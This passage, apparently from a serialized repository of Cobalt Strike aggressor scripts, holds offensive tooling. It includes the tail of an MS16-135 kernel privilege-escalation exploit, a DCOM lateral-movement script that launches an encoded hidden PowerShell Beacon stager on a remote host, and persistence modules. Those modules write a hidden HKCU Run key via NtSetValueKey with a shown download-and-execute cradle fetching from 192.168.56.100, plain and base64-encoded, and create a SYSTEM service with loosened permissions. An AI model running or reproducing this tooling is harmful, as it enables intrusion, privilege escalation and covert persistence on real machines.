quitting..`n\"\n\t\tReturn\n\t}\n\n\t[System.Runtime.InteropServices.Marshal]::WriteInt64($($BytePointer.ToInt64() + $BufferOffset),$WorkerBitmap.BitmappvScan0)\n\t[System.Runtime.InteropServices.Marshal]::WriteInt64($($BytePointer.ToInt64() + $BufferOffset + 8),$WorkerBitmap.BitmappvScan0)\n\t$pvScan0 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset + 8)\n\tWrite-Verbose \"[+] New manager bitmap pvScan0: $('{0:X}' -f $pvScan0)\"\n\n\t$CallResult = [ms16135]::SetBitmapBits($WorkerBitmap.BitmapHandle,0x2000,$BytePointer)\n\n\tBitmap-Elevate -ManagerBitmap $ManagerBitmap.BitmapHandle -WorkerBitmap $WorkerBitmap.BitmapHandle\n}\n"
  },
  {
    "path": "lateral/dcom.cna",
    "content": "alias dcom {\n\n\tlocal('$shellcode $stager');\n\t\n\tif (listener_info($3) is $null) {\n\t\tberror($1, \"Listener $3 does not exist\");\n\t\treturn;\n\t}\n\n\tif ($4 ne \"x86\" && $4 ne \"x64\") {\n\t\tberror($1, \"Invalid architecture\");\n\t\treturn;\n\t}\n\t\n\tbtask($1, \"Tasked Beacon to run \" . listener_describe($3) . \" on \" . $2 . \" via DCOM\");\n\n\t$shellcode = shellcode($3, \"true\", $4);\n\t$stager = powershell_encode_stager($shellcode);\n\n\tbpowerpick!($1, \"\\$COM = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',' $+ $2 $+ '); \\$Obj = [System.Activator]::CreateInstance(\\$COM); \\$Item = \\$Obj.Item(); \\$Item.Document.Application.ShellExecute('powershell.exe', '-nop -w hidden -enc  $+ $stager $+ ', 'C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\', \\$null, 0)\");\n\n\tbstage($1, $2, $3, $4);\n}\n\nbeacon_command_register(\"dcom\", \"Use DCOM to spawn a session on a host\",\n\t\"Use: dcom [target] [listener] [arch]\\n\\n\" .\n\t\"Spawn a session on a remote host. This command uses DCOM to run a PowerShell\\none-liner to bootstrap the desired listener.\");"
  },
  {
    "path": "loader.cna",
    "content": "# Automatically loads all aggressor scripts.\n# Idea taken from Und3rf10w\n\ninclude(script_resource(\"elevate/elevate.cna\"));\ninclude(script_resource(\"persistence/persistence.cna\"));"
  },
  {
    "path": "persistence/README.md",
    "content": "## Modules\n\n### PowerShell HKCU via PSReflect\n\nAccepts a basic base64'd (to avoid escaping pain) download cradle.  Writes it to HKCU\\Software\\Microsoft\\Windows\\Run\\\\`0pwned using a modified version of [PSReflect](https://github.com/mattifestation/PSReflect) and [RegHide](https://gist.github.com/brianreitz/feb4e14bd45dd2e4394c225b17df5741#file-psreflect-reghide-ps1).\n\n![HKCU (PSH)](images/hkcu_psh.png)\n\nBasic Example:\n\n`iex ([System.Net.WebClient]::New().DownloadString('http://192.168.56.100/a'))`\n`aQBlAHgAIAAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AF0AOgA6AE4AZQB3ACgAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANQA2AC4AMQAwADAALwBhACcAKQApAA==`\n\n### Windows Service Persistence\n\nCreates a Windows Service (running as SYSTEM) with the specified options and uses `sc sdset` to assign start/stop permissions to the user SID. Requires you to manually upload a payload.\n\n![Service](images/service.png)"
  },
  {
    "path": "persistence/modules/Invoke-ServicePersistence.ps1",
    "content": "﻿function Invoke-ServicePersistence {\n\n    [CmdletBinding()]\n    param(\n        [Parameter(Position=0,Mandatory=$True)]\n        [String]\n        $BinPath,\n\n        [Parameter(Position=2)]\n        [String]\n        $Name,\n\n        [Parameter(Position=3,Mandatory=$True)]\n        [String]\n        $SID,\n\n        [Parameter(Position=4)]\n        [String]\n        $DisplayName,\n\n        [Parameter(Position=5)]\n        [String]\n        $Description,\n\n        [Parameter(Position=6)]\n        [String]\n        $StartupType = \"Manual\"\n\n    )\n\n    $Service = \"New-Service -Name '$Name' -BinaryPathName '$BinPath'\"\n\n    if ($DisplayName) { $Service += \" -DisplayName '$DisplayName'\" }\n    if ($Description) { $Service += \" -Description '$Description'\" }\n    if ($StartupType) { $Service += \" -StartupType '$StartupType'\" }\n\n    Write-Verbose $Service\n\n    Invoke-Expression $Service\n\n    [string]$SDDL = C:\\Windows\\System32\\sc.exe sdshow $Name\n    $SDDL = $SDDL.TrimStart()\n    $SDDL = $SDDL.Insert(110, \"(A;;RPWPDTLO;;;$SID)\")\n\n    Write-Verbose $SDDL\n\n    C:\\Windows\\System32\\sc.exe sdset $Name $SDDL\n\n}"
  },
  {
    "path": "persistence/modules/PSReflect.ps1",
    "content": "﻿#Requires -Version 2\n\nfunction New-InMemoryModule\n{\n<#\n.SYNOPSIS\n\nCreates an in-memory assembly and module\n\nAuthor: Matthew Graeber (@mattifestation)\nLicense: BSD 3-Clause\nRequired Dependencies: None\nOptional Dependencies: None\n \n.DESCRIPTION\n\nWhen defining custom enums, structs, and unmanaged functions, it is\nnecessary to associate to an assembly module. This helper function\ncreates an in-memory module that can be passed to the 'enum',\n'struct', and Add-Win32Type functions.\n\n.PARAMETER ModuleName\n\nSpecifies the desired name for the in-memory assembly and module. If\nModuleName is not provided, it will default to a GUID.\n\n.EXAMPLE\n\n$Module = New-InMemoryModule -ModuleName Win32\n#>\n\n    Param\n    (\n        [Parameter(Position = 0)]\n        [ValidateNotNullOrEmpty()]\n        [String]\n        $ModuleName = [Guid]::NewGuid().ToString()\n    )\n\n    $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())\n    $LoadedAssemblies = $AppDomain.GetAssemblies()\n\n    foreach ($Assembly in $LoadedAssemblies) {\n        if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {\n            return $Assembly\n        }\n    }\n\n    $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)\n    $Domain = $AppDomain\n    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')\n    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)\n\n    return $ModuleBuilder\n}\n\n\n# A helper function used to reduce typing while defining function\n# prototypes for Add-Win32Type.\nfunction func\n{\n    Param\n    (\n        [Parameter(Position = 0, Mandatory = $True)]\n        [String]\n        $DllName,\n\n        [Parameter(Position = 1, Mandatory = $True)]\n        [string]\n        $FunctionName,\n\n        [Parameter(Position = 2, Mandatory = $True)]\n        [Type]\n        $ReturnType,\n\n        [Parameter(Position = 3)]\n        [Type[]]\n        $ParameterTypes,\n\n        [Parameter(Position = 4)]\n        [Runtime.InteropServices.CallingConvention]\n        $NativeCallingConvention,\n\n        [Parameter(Position = 5)]\n        [Runtime.InteropServices.CharSet]\n        $Charset,\n\n        [String]\n        $EntryPoint,\n\n        [Switch]\n        $SetLastError\n    )\n\n    $Properties = @{\n        DllName = $DllName\n        FunctionName = $FunctionName\n        ReturnType = $ReturnType\n    }\n\n    if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }\n    if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }\n    if ($Charset) { $Properties['Charset'] = $Charset }\n    if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }\n    if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }\n\n    New-Object PSObject -Property $Properties\n}\n\n\nfunction Add-Win32Type\n{\n<#\n.SYNOPSIS\n\nCreates a .NET type for an unmanaged Win32 function.\n\nAuthor: Matthew Graeber (@mattifestation)\nLicense: BSD 3-Clause\nRequired Dependencies: None\nOptional Dependencies: func\n \n.DESCRIPTION\n\nAdd-Win32Type enables you to easily interact with unmanaged (i.e.\nWin32 unmanaged) functions in PowerShell. After providing\nAdd-Win32Type with a function signature, a .NET type is created\nusing reflection (i.e. csc.exe is never called like with Add-Type).\n\nThe 'func' helper function can be used to reduce typing when defining\nmultiple function definitions.\n\n.PARAMETER DllName\n\nThe name of the DLL.\n\n.PARAMETER FunctionName\n\nThe name of the target function.\n\n.PARAMETER EntryPoint\n\nThe DLL export function name. This argument should be specified if the\nspecified function name is different than the name of the exported\nfunction.\n\n.PARAMETER ReturnType\n\nThe return type of the function.\n\n.PARAMETER ParameterTypes\n\nThe function parameters.\n\n.PARAMETER NativeCallingConvention\n\nSpecifies the native calling convention of the function. Defaults to\nstdcall.\n\n.PARAMETER Charset\n\nIf you need to explicitly call an 'A' or 'W' Win32 function, you can\nspecify the character set.\n\n.PARAMETER SetLastError\n\nIndicates whether the callee calls the SetLastError Win32 API\nfunction before returning from the attributed method.\n\n.PARAMETER Module\n\nThe in-memory module that will host the functions. Use\nNew-InMemoryModule to define an in-memory module.\n\n.PARAMETER Namespace\n\nAn optional namespace to prepend to the type. Add-Win32Type defaults\nto a namespace consisting only of the name of the DLL.\n\n.EXAMPLE\n\n$Mod = New-InMemoryModule -ModuleName Win32\n\n$FunctionDefinitions = @(\n  (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),\n  (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),\n  (func ntdll RtlGetCurrentPeb ([IntPtr]) @())\n)\n\n$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'\n$Kernel32 = $Types['kernel32']\n$Ntdll = $Types['ntdll']\n$Ntdll::RtlGetCurrentPeb()\n$ntdllbase = $Kernel32::GetModuleHandle('ntdll')\n$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')\n\n.NOTES\n\nInspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189\n\nWhen defining multiple function prototypes, it is ideal to provide\nAdd-Win32Type with an array of function signatures. That way, they\nare all incorporated into the same in-memory module.\n#>\n\n    [OutputType([Hashtable])]\n    Param(\n        [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]\n        [String]\n        [ValidateNotNullOrEmpty()]\n        $DllName,\n\n        [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]\n        [String]\n        [ValidateNotNullOrEmpty()]\n        $FunctionName,\n\n        [Parameter(ValueFromPipelineByPropertyName = $True)]\n        [String]\n        [ValidateNotNullOrEmpty()]\n        $EntryPoint,\n\n        [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]\n        [Type]\n        $ReturnType,\n\n        [Parameter(ValueFromPipelineByPropertyName = $True)]\n        [Type[]]\n        $ParameterTypes,\n\n        [Parameter(ValueFromPipelineByPropertyName = $True)]\n        [Runtime.InteropServices.CallingConvention]\n        $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,\n\n        [Parameter(ValueFromPipelineByPropertyName = $True)]\n        [Runtime.InteropServices.CharSet]\n        $Charset = [Runtime.InteropServices.CharSet]::Auto,\n\n        [Parameter(ValueFromPipelineByPropertyName = $True)]\n        [Switch]\n        $SetLastError,\n\n        [Parameter(Mandatory = $True)]\n        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]\n        $Module,\n\n        [ValidateNotNull()]\n        [String]\n        $Namespace = ''\n    )\n\n    BEGIN\n    {\n        $TypeHash = @{}\n    }\n\n    PROCESS\n    {\n        if ($Module -is [Reflection.Assembly])\n        {\n            if ($Namespace)\n            {\n                $TypeHash[$DllName] = $Module.GetType(\"$Namespace.$DllName\")\n            }\n            else\n            {\n                $TypeHash[$DllName] = $Module.GetType($DllName)\n            }\n        }\n        else\n        {\n            # Define one type for each DLL\n            if (!$TypeHash.ContainsKey($DllName))\n            {\n                if ($Namespace)\n                {\n                    $TypeHash[$DllName] = $Module.DefineType(\"$Namespace.$DllName\", 'Public,BeforeFieldInit')\n                }\n                else\n                {\n                    $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')\n                }\n            }\n\n            $Method = $TypeHash[$DllName].DefineMethod(\n                $FunctionName,\n                'Public,Static,PinvokeImpl',\n                $ReturnType,\n                $ParameterTypes)\n\n            # Make each ByRef parameter an Out parameter\n            $i = 1\n            foreach($Parameter in $ParameterTypes)\n            {\n                if ($Parameter.IsByRef)\n                {\n                    [void] $Method.DefineParameter($i, 'Out', $null)\n                }\n\n                $i++\n            }\n\n            $DllImport = [Runtime.InteropServices.DllImportAttribute]\n            $SetLastErrorField = $DllImport.GetField('SetLastError')\n            $CallingConventionField = $DllImport.GetField('CallingConvention')\n            $CharsetField = $DllImport.GetField('CharSet')\n            $EntryPointField = $DllImport.GetField('EntryPoint')\n            if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }\n\n            if ($EntryPoint) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }\n\n            # Equivalent to C# version of [DllImport(DllName)]\n            $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])\n            $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,\n                $DllName,\n                [Reflection.PropertyInfo[]] @(),\n                [Object[]] @(),\n                [Reflection.FieldInfo[]] @($SetLastErrorField,\n                                           $CallingConventionField,\n                                           $CharsetField,\n                                           $EntryPointField),\n                [Object[]] @($SLEValue,\n                             ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),\n                             ([Runtime.InteropServices.CharSet] $Charset),\n                             $ExportedFuncName))\n\n            $Method.SetCustomAttribute($DllImportAttribute)\n        }\n    }\n\n    END\n    {\n        if ($Module -is [Reflection.Assembly])\n        {\n            return $TypeHash\n        }\n\n        $ReturnTypes = @{}\n\n        foreach ($Key in $TypeHash.Keys)\n        {\n            $Type = $TypeHash[$Key].CreateType()\n            \n            $ReturnTypes[$Key] = $Type\n        }\n\n        return $ReturnTypes\n    }\n}\n\n\nfunction psenum\n{\n<#\n.SYNOPSIS\n\nCreates an in-memory enumeration for use in your PowerShell session.\n\nAuthor: Matthew Graeber (@mattifestation)\nLicense: BSD 3-Clause\nRequired Dependencies: None\nOptional Dependencies: None\n \n.DESCRIPTION\n\nThe 'psenum' function facilitates the creation of enums entirely in\nmemory using as close to a \"C style\" as PowerShell will allow.\n\n.PARAMETER Module\n\nThe in-memory module that will host the enum. Use\nNew-InMemoryModule to define an in-memory module.\n\n.PARAMETER FullName\n\nThe fully-qualified name of the enum.\n\n.PARAMETER Type\n\nThe type of each enum element.\n\n.PARAMETER EnumElements\n\nA hashtable of enum elements.\n\n.PARAMETER Bitfield\n\nSpecifies that the enum should be treated as a bitfield.\n\n.EXAMPLE\n\n$Mod = New-InMemoryModule -ModuleName Win32\n\n$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{\n    UNKNOWN =                  0\n    NATIVE =                   1 # Image doesn't require a subsystem.\n    WINDOWS_GUI =              2 # Image runs in the Windows GUI subsystem.\n    WINDOWS_CUI =              3 # Image runs in the Windows character subsystem.\n    OS2_CUI =                  5 # Image runs in the OS/2 character subsystem.\n    POSIX_CUI =                7 # Image runs in the Posix character subsystem.\n    NATIVE_WINDOWS =           8 # Image is a native Win9x driver.\n    WINDOWS_CE_GUI =           9 # Image runs in the Windows CE subsystem.\n    EFI_APPLICATION =          10\n    EFI_BOOT_SERVICE_DRIVER =  11\n    EFI_RUNTIME_DRIVER =       12\n    EFI_ROM =                  13\n    XBOX =                     14\n    WINDOWS_BOOT_APPLICATION = 16\n}\n\n.NOTES\n\nPowerShell purists may disagree with the naming of this function but\nagain, this was developed in such a way so as to emulate a \"C style\"\ndefinition as closely as possible. Sorry, I'm not going to name it\nNew-Enum. :P\n#>\n\n    [OutputType([Type])]\n    Param\n    (\n        [Parameter(Position = 0, Mandatory = $True)]\n        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]\n        $Module,\n\n        [Parameter(Position = 1, Mandatory = $True)]\n        [ValidateNotNullOrEmpty()]\n        [String]\n        $FullName,\n\n        [Parameter(Position = 2, Mandatory = $True)]\n        [Type]\n        $Type,\n\n        [Parameter(Position = 3, Mandatory = $True)]\n        [ValidateNotNullOrEmpty()]\n        [Hashtable]\n        $EnumElements,\n\n        [Switch]\n        $Bitfield\n    )\n\n    if ($Module -is [Reflection.Assembly])\n    {\n        return ($Module.GetType($FullName))\n    }\n\n    $EnumType = $Type -as [Type]\n\n    $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)\n\n    if ($Bitfield)\n    {\n        $FlagsConstructor = [FlagsAttribute].GetConstructor(@())\n        $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())\n        $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)\n    }\n\n    foreach ($Key in $EnumElements.Keys)\n    {\n        # Apply the specified enum type to each element\n        $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)\n    }\n\n    $EnumBuilder.CreateType()\n}\n\n\n# A helper function used to reduce typing while defining struct\n# fields.\nfunction field\n{\n    Param\n    (\n        [Parameter(Position = 0, Mandatory = $True)]\n        [UInt16]\n        $Position,\n        \n        [Parameter(Position = 1, Mandatory = $True)]\n        [Type]\n        $Type,\n        \n        [Parameter(Position = 2)]\n        [UInt16]\n        $Offset,\n        \n        [Object[]]\n        $MarshalAs\n    )\n\n    @{\n        Position = $Position\n        Type = $Type -as [Type]\n        Offset = $Offset\n        MarshalAs = $MarshalAs\n    }\n}\n\n\nfunction struct\n{\n<#\n.SYNOPSIS\n\nCreates an in-memory struct for use in your PowerShell session.\n\nAuthor: Matthew Graeber (@mattifestation)\nLicense: BSD 3-Clause\nRequired Dependencies: None\nOptional Dependencies: field\n \n.DESCRIPTION\n\nThe 'struct' function facilitates the creation of structs entirely in\nmemory using as close to a \"C style\" as PowerShell will allow. Struct\nfields are specified using a hashtable where each field of the struct\nis comprosed of the order in which it should be defined, its .NET\ntype, and optionally, its offset and special marshaling attributes.\n\nOne of the features of 'struct' is that after your struct is defined,\nit will come with a built-in GetSize method as well as an explicit\nconverter so that you can easily cast an IntPtr to the struct without\nrelying upon calling SizeOf and/or PtrToStructure in the Marshal\nclass.\n\n.PARAMETER Module\n\nThe in-memory module that will host the struct. Use\nNew-InMemoryModule to define an in-memory module.\n\n.PARAMETER FullName\n\nThe fully-qualified name of the struct.\n\n.PARAMETER StructFields\n\nA hashtable of fields. Use the 'field' helper function to ease\ndefining each field.\n\n.PARAMETER PackingSize\n\nSpecifies the memory alignment of fields.\n\n.PARAMETER ExplicitLayout\n\nIndicates that an explicit offset for each field will be specified.\n\n.PARAMETER CharSet\n\nDictates which character set marshaled strings should use.\n\n.EXAMPLE\n\n$Mod = New-InMemoryModule -ModuleName Win32\n\n$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{\n    DOS_SIGNATURE =    0x5A4D\n    OS2_SIGNATURE =    0x454E\n    OS2_SIGNATURE_LE = 0x454C\n    VXD_SIGNATURE =    0x454C\n}\n\n$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{\n    e_magic =    field 0 $ImageDosSignature\n    e_cblp =     field 1 UInt16\n    e_cp =       field 2 UInt16\n    e_crlc =     field 3 UInt16\n    e_cparhdr =  field 4 UInt16\n    e_minalloc = field 5 UInt16\n    e_maxalloc = field 6 UInt16\n    e_ss =       field 7 UInt16\n    e_sp =       field 8 UInt16\n    e_csum =     field 9 UInt16\n    e_ip =       field 10 UInt16\n    e_cs =       field 11 UInt16\n    e_lfarlc =   field 12 UInt16\n    e_ovno =     field 13 UInt16\n    e_res =      field 14 UInt16[] -MarshalAs @('ByValArray', 4)\n    e_oemid =    field 15 UInt16\n    e_oeminfo =  field 16 UInt16\n    e_res2 =     field 17 UInt16[] -MarshalAs @('ByValArray', 10)\n    e_lfanew =   field 18 Int32\n}\n\n# Example of using an explicit layout in order to create a union.\n$TestUnion = struct $Mod TestUnion @{\n    field1 = field 0 UInt32 0\n    field2 = field 1 IntPtr 0\n} -ExplicitLayout\n\n.NOTES\n\nPowerShell purists may disagree with the naming of this function but\nagain, this was developed in such a way so as to emulate a \"C style\"\ndefinition as closely as possible. Sorry, I'm not going to name it\nNew-Struct. :P\n#>\n\n    [OutputType([Type])]\n    Param\n    (\n        [Parameter(Position = 1, Mandatory = $True)]\n        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]\n        $Module,\n\n        [Parameter(Position = 2, Mandatory = $True)]\n        [ValidateNotNullOrEmpty()]\n        [String]\n        $FullName,\n\n        [Parameter(Position = 3, Mandatory = $True)]\n        [ValidateNotNullOrEmpty()]\n        [Hashtable]\n        $StructFields,\n\n        [Reflection.Emit.PackingSize]\n        $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,\n\n        [Switch]\n        $ExplicitLayout,\n\n        [System.Runtime.InteropServices.CharSet]\n        $CharSet = [System.Runtime.InteropServices.CharSet]::Ansi\n    )\n\n    if ($Module -is [Reflection.Assembly])\n    {\n        return ($Module.GetType($FullName))\n    }\n\n    [Reflection.TypeAttributes] $StructAttributes = 'Class,\n        Public,\n        Sealed,\n        BeforeFieldInit'\n\n    if ($ExplicitLayout)\n    {\n        $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout\n    }\n    else\n    {\n        $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout\n    }\n\n    switch($CharSet)\n    {\n        Ansi\n        {\n            $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::AnsiClass\n        }\n        Auto\n        {\n            $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::AutoClass\n        }\n        Unicode\n        {\n            $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::UnicodeClass\n        s}\n    }\n\n    $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)\n    $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]\n    $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))\n\n    $Fields = New-Object Hashtable[]($StructFields.Count)\n\n    # Sort each field according to the orders specified\n    # Unfortunately, PSv2 doesn't have the luxury of the\n    # hashtable [Ordered] accelerator.\n    foreach ($Field in $StructFields.Keys)\n    {\n        $Index = $StructFields[$Field]['Position']\n        $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}\n    }\n\n    foreach ($Field in $Fields)\n    {\n        $FieldName = $Field['FieldName']\n        $FieldProp = $Field['Properties']\n\n        $Offset = $FieldProp['Offset']\n        $Type = $FieldProp['Type']\n        $MarshalAs = $FieldProp['MarshalAs']\n\n        $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')\n\n        if ($MarshalAs)\n        {\n            $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])\n            if ($MarshalAs[1])\n            {\n                $Size = $MarshalAs[1]\n                $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,\n                    $UnmanagedType, $SizeConst, @($Size))\n            }\n            else\n            {\n                $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))\n            }\n            \n            $NewField.SetCustomAttribute($AttribBuilder)\n        }\n\n        if ($ExplicitLayout) { $NewField.SetOffset($Offset) }\n    }\n\n    # Make the struct aware of its own size.\n    # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!\n    $SizeMethod = $StructBuilder.DefineMethod('GetSize',\n        'Public, Static',\n        [Int],\n        [Type[]] @())\n    $ILGenerator = $SizeMethod.GetILGenerator()\n    # Thanks for the help, Jason Shirk!\n    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)\n    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,\n        [Type].GetMethod('GetTypeFromHandle'))\n    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,\n        [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))\n    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)\n\n    # Allow for explicit casting from an IntPtr\n    # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!\n    $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',\n        'PrivateScope, Public, Static, HideBySig, SpecialName',\n        $StructBuilder,\n        [Type[]] @([IntPtr]))\n    $ILGenerator2 = $ImplicitConverter.GetILGenerator()\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,\n        [Type].GetMethod('GetTypeFromHandle'))\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,\n        [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)\n\n    $StructBuilder.CreateType()\n}\n\nfunction Invoke-RegHide {\n\n        [CmdletBinding()]\n    param(\n\n        [Parameter(Position=0,Mandatory=$True)]\n        [String]\n        $Cradle\n    )\n\n    $Module = New-InMemoryModule -ModuleName RegHide\n    # Define our structs. \n\n    # https://msdn.microsoft.com/en-us/library/windows/hardware/ff564879(v=vs.85).aspx\n    # typedef struct _UNICODE_STRING {\n    #  USHORT Length;\n    #  USHORT MaximumLength;\n    #  PWSTR  Buffer;\n    # }\n    $UNICODE_STRING = struct $Module UNICODE_STRING @{\n       Length        = field 0 UInt16\n       MaximumLength = field 1 UInt16\n       Buffer        = field 2 IntPtr\n    }\n\n    $OBJECT_ATTRIBUTES = struct $Module OBJECT_ATTRIBUTES @{\n       Length                   = field 0 UInt32\n       RootDirectory            = field 1 IntPtr\n       ObjectName               = field 2 IntPtr\n       Attributes               = field 3 UInt32\n       SecurityDescriptor       = field 4 IntPtr\n       SecurityQualityOfService = field 5 IntPtr\n    }\n\n    # ACCESS_MASK enum used to determine key permissions, used by NtOpenKey.\n    $KEY_ACCESS = psenum $Module KEY_ACCESS UInt32 @{\n       KEY_QUERY_VALUE        = 0x0001\n       KEY_SET_VALUE          = 0x0002\n       KEY_CREATE_SUB_KEY     = 0x0004\n       KEY_ENUMERATE_SUB_KEYS = 0x0008\n       KEY_NOTIFY             = 0x0010\n       KEY_CREATE_LINK        = 0x0020\n       KEY_WOW64_64KEY        = 0x0100\n       KEY_WOW64_32KEY        = 0x0200\n       KEY_WRITE              = 0x20006\n       KEY_READ               = 0x20019\n       KEY_EXECUTE            = 0x20019\n       KEY_ALL_ACCESS         = 0xF003F\n    } -Bitfield\n\n    # ATTRIBUTES enum passed to an OBJECT_ATTRIBUTES struct.\n    $OBJ_ATTRIBUTE = psenum $Module OBJ_ATTRIBUTE UInt32 @{\n        OBJ_INHERIT            = 0x00000002\n        OBJ_PERMANENT          = 0x00000010\n        OBJ_EXCLUSIVE          = 0x00000020\n        OBJ_CASE_INSENSITIVE   = 0x00000040\n        OBJ_OPENIF             = 0x00000080\n        OBJ_OPENLINK           = 0x00000100\n        OBJ_KERNEL_HANDLE      = 0x00000200\n        OBJ_FORCE_ACCESS_CHECK = 0x00000400\n        OBJ_VALID_ATTRIBUTES   = 0x000007f2\n    } -Bitfield\n\n\n    # Function definitions, including parameters and Entrypoint names\n    $FunctionDefinitions = @(\n      (func ntdll NtOpenKey ([UInt32]) @(\n            [IntPtr].MakeByRefType(),           #_Out_ PHANDLE KeyHandle,\n            [Int32],                            #_In_  ACCESS_MASK        DesiredAccess,\n            $OBJECT_ATTRIBUTES.MakeByRefType()  #_In_  POBJECT_ATTRIBUTES ObjectAttributes\n      ) -EntryPoint NtOpenKey),\n\n      (func ntdll NtSetValueKey ([UInt32]) @(\n           [IntPtr],                        #_In_     HANDLE          KeyHandle,\n           $UNICODE_STRING.MakeByRefType(), #_In_     PUNICODE_STRING ValueName,\n           [Int32],                         #_In_opt_ ULONG           TitleIndex,\n           [Int32],                         #_In_     ULONG           Type,\n           [IntPtr],                        #_In_opt_ PVOID           Data,\n           [Int32]                          #_In_     ULONG           DataSize\n       ) -EntryPoint NtSetValueKey),\n\n       (func ntdll NtDeleteValueKey ([UInt32]) @(\n            [IntPtr],                           #_In_ HANDLE KeyHandle,\n            $UNICODE_STRING.MakeByRefType()     #_In_ PUNICODE_STRING ValueName\n       ) -EntryPoint NtDeleteValueKey),\n\n       (func ntdll NtClose ([UInt32]) @(\n           [IntPtr] #_In_      HANDLE          ObjectHandle\n       ) -EntryPoint NtClose),\n\n      (func ntdll RtlInitUnicodeString ([void]) @(\n           $UNICODE_STRING.MakeByRefType(), #_Inout_  PUNICODE_STRING DestinationString\n           [string]                         #_In_opt_ PCWSTR          SourceString\n       ) -EntryPoint RtlInitUnicodeString)\n    )\n    $Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace RegHide\n    $ntdll = $Types['ntdll']\n\n    $KeyHandle = [IntPtr]::Zero\n    $DesiredAccess = $KEY_ACCESS::KEY_ALL_ACCESS\n\n    # To open the Current User’s registry hive, we need the user’s SID\n    $SID = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value\n    $KeyName = \"\\Registry\\User\\$SID\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\"\n\n    # We'll have to convert the KeyName from PowerShell string into a UNICODE_STRING\n    $KeyBuffer = 